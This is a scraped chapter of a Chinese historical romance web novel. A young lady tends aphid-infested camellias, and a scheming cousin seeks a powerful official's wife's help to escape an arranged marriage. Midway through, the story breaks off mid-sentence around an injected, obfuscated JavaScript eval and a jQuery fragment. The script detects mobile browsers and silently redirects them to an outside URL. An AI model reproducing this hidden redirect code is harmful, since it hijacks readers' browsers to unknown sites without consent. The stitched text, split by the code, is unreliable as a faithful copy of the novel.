杜若嘉用过早膳后就一头扎进了花房,顺便把几个惴惴不安想要帮忙的小丫头和怕虫子的水桃撵到了一边。
花房这几株嫁接的茶花是杜若嘉亲手培育的,对此她有着超乎寻常的耐心,恨不得全部亲力亲为,自然不放心交给旁人打理。若不是不止一株生了虫,她连巧绿都不留。
巧绿麻利地用帕子给杜若嘉包好了头发,又依样给自己也包上,见姑娘拿了软毛刷真要动手,她心疼的跟什么似的,“姑娘,您快歇着,这些粗活儿您让奴婢来就行!”
她们姑娘这双手是早晚都抹了膏子细细保养的,哪里能做些埋汰事儿,见杜若嘉充耳不闻,巧绿只能软软的哄道,“姑娘,就只是弄掉这些小虫子而已,您还不信奴婢吗,奴婢自己来就行了。”
不听不听不听,杜若嘉还是装没听见,捏着叶片就开始清理了。
“哎呦!姑娘~”巧绿努着小嘴愁眉苦脸,站在旁边的小丫头们也是欲言又止,没办法巧绿改变了思路,她捏着杜若嘉的手腕,撒娇一样说道,“姑娘,要不然您帮奴婢递递帕子好不好?”
“不好。”姑娘冷酷无情。
见怎么都劝不动,巧绿只好也拿起刷子开干了。她动作利索,想着只要她多做一点,姑娘就能少做一些。
主仆两人坐在小凳上,一人捏了把软毛刷子小心翼翼地清理着叶片背面的蚜虫。
“哎...早知道就该留着花房的人了。”看着嫩叶上被蚜虫啃噬过的斑斑点点的痕迹,杜若嘉心疼的不行,早知道就不这么赌气了,别人说就说呗又不会掉一块儿肉,自己竟然还真的被激将法激到了,真是越活越回去了。
这事儿还得从家塾的张先生说起。
老人家回家奔丧后悲痛难当,竟一病不起。他的儿子特意上京替父请辞,段氏自然不能强留,不仅给了丰厚的程仪,还添了好几味贵重的药材。
送走张先生的儿子后,段氏有些头疼。
本来想着是给孩子们放个假,可现在张先生请辞了,钧哥儿没了先生管束,上蹿下跳弄的鸡飞狗跳,,没办法段氏只得匆匆又请了位新先生。
这位新来的先生比先前的张老头要年轻不少,学问也扎实,可年纪轻轻竟然是个迂腐的。
杜若嘉在课堂上偶尔问个问题,这位酸才不是敷衍了事就是从鼻孔里哼出几声冷笑。
最可气的是,听说她培育了几株茶花,在讲课的时候指桑骂槐的阴阳怪气,偏偏话说的隐晦,杜若嘉愣是抓不到话头,有气都没法撒。
她知道,这酸才无非是嫌弃她一个姑娘家不学着如何管家理事,却偏要和爷们儿混在一起读书。
可他终归只是个教书先生,没资格教训东家,只能这样不阴不阳的膈应人。
这样的情况持续不过月余,杜若嘉便撂了笔墨,反正这个时代该摸清的她都已经了解的差不多了,也没必要在这里受这闲气。
这倒是正中段氏下怀。
虽说当初让女儿们跟着读书是她的主意,可这两年她每每想起已为人妇的女儿们就觉得心里头发堵。
她时常自省,会不会是自己错了,女儿家总归是要嫁人的,若只是一味的学习诗书礼仪而不懂持家之道,迟早会被人吃干抹净!
婉儿和妍儿就是人情世故接触少了,才会这么单纯地叫婆家哄的团团转,妍儿当时双胎生的那般艰难却还只一味地向着夫家说话,可悬没给她气个半死。
如今见着杜若嘉主动弃学,段氏忙不迭的将人拘到身边学着看账本,读书是要紧事,可如今看来会管家才更是要紧中的要紧。
杜府京郊田庄不少,京都和隔壁州府也有铺面,还有各家人情往来,大大小小都是事儿,繁杂的很!
杜若嘉几乎日日都跟在段氏身边学着如何对帐御下,如何打理庶务,又被那酸才激着,真把花房照料的人都打发出去了。
可她忙着学习管家理事,一来二去的不免就对她的宝贝茶花疏忽了一些,这才导致她的茶花长满了蚜虫。
“姑、姑娘。”水桃捏着帕子站在花房门口,努力强迫自己不去看那些密密麻麻的绿色小虫子,她最害怕这样的小虫子了,姑娘体贴,特意让她去帮着张妈妈清点箱笼。
可方才小兴报来的消息实在要紧,她不得不硬着头皮进来,“方才小兴看见霜荷院那位带着丫头偷偷溜出府去了。”
果然。
“找人跟着,看她去哪儿。”杜若嘉闻言头也不回,手上动作不停,总共五株生了蚜虫,巧绿胆子大,压根儿不怕这些丑虫子,三下五除二已经弄完了三株,她手里这是最后一株了,“若是没做什么出格的事就不用管她了。”
傅楚瑶和王升的婚事在大面上已经算是板上钉钉了,话虽如此,可杜若嘉知道傅楚瑶不是什么逆来顺受的性子,她要是不愿意嫁给王升,有动作是必然的。
别的且不提,杜若嘉只担心她那为达目的不择手段的性子,这要是搞出什么事情来,还不是得段氏替她收拾烂摊子,而跟着段氏学习管家的杜若嘉同样也少不了善后,与其等到事情发生了再烦恼,不如提前看紧些,必要时刻才能提前将麻烦扼杀在摇篮里。
巧绿见姑娘对霜荷院的事早有成算,手头的花枝也只剩了一点点,再一看水桃这瑟缩的样子,立马就起了坏心眼儿,翘着指头故意把洗干净的刷子朝着水桃的方向戳了过去。
水桃本来就怕的要死,哪里有功夫去看刷子是干净的还是脏的,不负众望的尖叫着往后头直缩。
“哈哈哈哈哈,姑娘您看水桃!”巧绿一招得逞笑的上气不接下气,“我早洗干净啦,胆小鬼!”
旁边几个丫头也捂了嘴一脸笑意,水桃涨红了脸,瞬间就明白自己被巧绿捉弄了,她又羞又恼,让姑娘干这些腌臢活儿已经是不该了,自己非但帮不上忙,还这怕那怕的...
两个丫头打闹之际,旁边的小丫头们见杜若嘉手头的活儿做完了,端热水的端热水,递帕子的递帕子。
杜若嘉不紧不慢的擦干净手又不雅的伸了个懒腰,顺便看着气急败坏的水桃追打巧绿,笑着摇摇头。
而此时的顺天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494001|179461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
府衙官廨内,一袭家常打扮的柳夫人悠然端坐上首,一双保养得当的纤纤玉手随意地把玩着一只精巧的玉石榴,似笑非笑地盯着坐在下头略微有些紧张却一脸野心的傅楚瑶。
她没想到傅春霜这样的女人生出来的女儿倒是胆大包天,带着个丫头就敢找上府衙。
她本来是不打算见的,可想到姿色不俗的傅楚瑶和侧妃同样出自杜府,想了想柳氏还是把人放进来了。
“瑶瑶怎么来了?快抬起头来,给伯母好好看看。”见她低着头不说话,柳氏心头腻味,嘴上却亲昵,“哎呦,这才多久没见,瞧着倒清减了些。”
“伯母...”听她这口气,傅楚瑶心头安定了几分,她绞着帕子眼圈说红就红,“楚瑶、楚瑶实在没脸来求您,可...”
傅楚瑶突然跪了下来,“求伯母帮帮楚瑶!”
柳夫人心头鄙夷,到底是小门小户出来的,这做派...她把玉石榴放到手边的小几上,不动声色地端起茶盏抿了一口,“哦?这话怎么说?是受了委屈?杜夫人为人敦厚,难道背后待你不好?”
傅楚瑶当然希望段氏名声越坏越好,可她现在人还在杜府,哪里敢胡说八道,她赶紧摇头,“不是的伯母,杜夫人待我很好。”
“是、是杜老爷和姑母,她要把我许给一个乡下的秀才,说那秀才学问好,往后能有出息。可我怎能嫁去那样的人家?往后,往后一辈子困在乡下...”
说到这儿,傅楚瑶真觉得悲从心来,眼泪也真心实意的落了下来,她用帕子捂着脸,哭得梨花带雨,脱力的靠在香巧肩上。
一听是为了这,柳氏不耐烦了,她又不是她娘,谁管她嫁给谁,她强忍着躁意安慰,“话也不能这么说,读书人若能考中功名,往后未必没有出头之日。杜大人和傅夫人也是为了你好,女孩子家终究是要寻个归宿的。”
傅楚瑶见她神色平静,不像要帮自己的样子,心头有些急。
她这些日子琢磨了好多事,当初柳夫人见着她的时候亲切又热情,可在她被送回杜府后就失了热情,她打听过,柳夫人一直想走翟氏的路子,若是她没想错的话...
傅楚瑶壮着胆子说道,“可那样的归宿,不是我想要的。伯母,您上次带我去参加皇孙的周岁宴,我瞧着六皇子府的气派,瞧着...瞧着侧妃娘娘那样风光,心里实在羡慕。我也想留在京都,想有个体面的去处,不想一辈子就这么潦草过去了...”
“哦?你想留在京都,想有个体面去处,哪有那么容易?”柳氏端着茶盏悠悠然说道。
傅楚瑶一向聪明,听出她话里的转机,赶紧擦干眼泪抬头看向柳氏,“侧妃娘娘如今得势,皇妃娘娘心里未必痛快,若是,若是我能帮皇妃娘娘一点忙...”
柳氏闻言眼底闪过一丝精光,傅楚瑶有几分姿色,又有野心,正好能用来膈应杜侧妃,讨好六皇妃,至于这丫头的死活...
她嘴角勾起一抹真切的笑意,搁下茶盏温柔的将人扶了起来,“既然你信得过伯母,伯母就给你想想办法。”